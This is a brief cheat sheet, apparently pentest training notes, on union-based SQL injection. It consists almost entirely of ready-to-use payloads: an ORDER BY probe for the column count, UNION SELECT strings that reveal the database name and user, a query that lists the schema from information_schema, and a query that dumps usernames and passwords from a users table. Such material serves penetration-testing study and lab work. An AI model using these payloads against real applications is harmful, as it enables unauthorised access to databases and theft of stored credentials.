Union Based SQLi
Determining the Number of Columns
Displaying value
Last updated
Last updated
' ORDER BY 1-- //# Suppose we have determined that there are 5 columns available.
' union select null, database(), user(), null, null -- //
# Only Select Query commands are working.
# Example of value casting
UNION SELECT null, CAST(database() AS CHAR), user(), null, null -- //
# Note: Different database has different ways to cast a value.' union select null, table_name, column_name, table_schema, null from information_schema.columns where table_schema=database() -- //' union select null, username, password, null, null from offsec.users -- //
# ' union select null, username[From Column name], password[From Column name], null, null from offsec[from table_schema].users[From table_name] -- //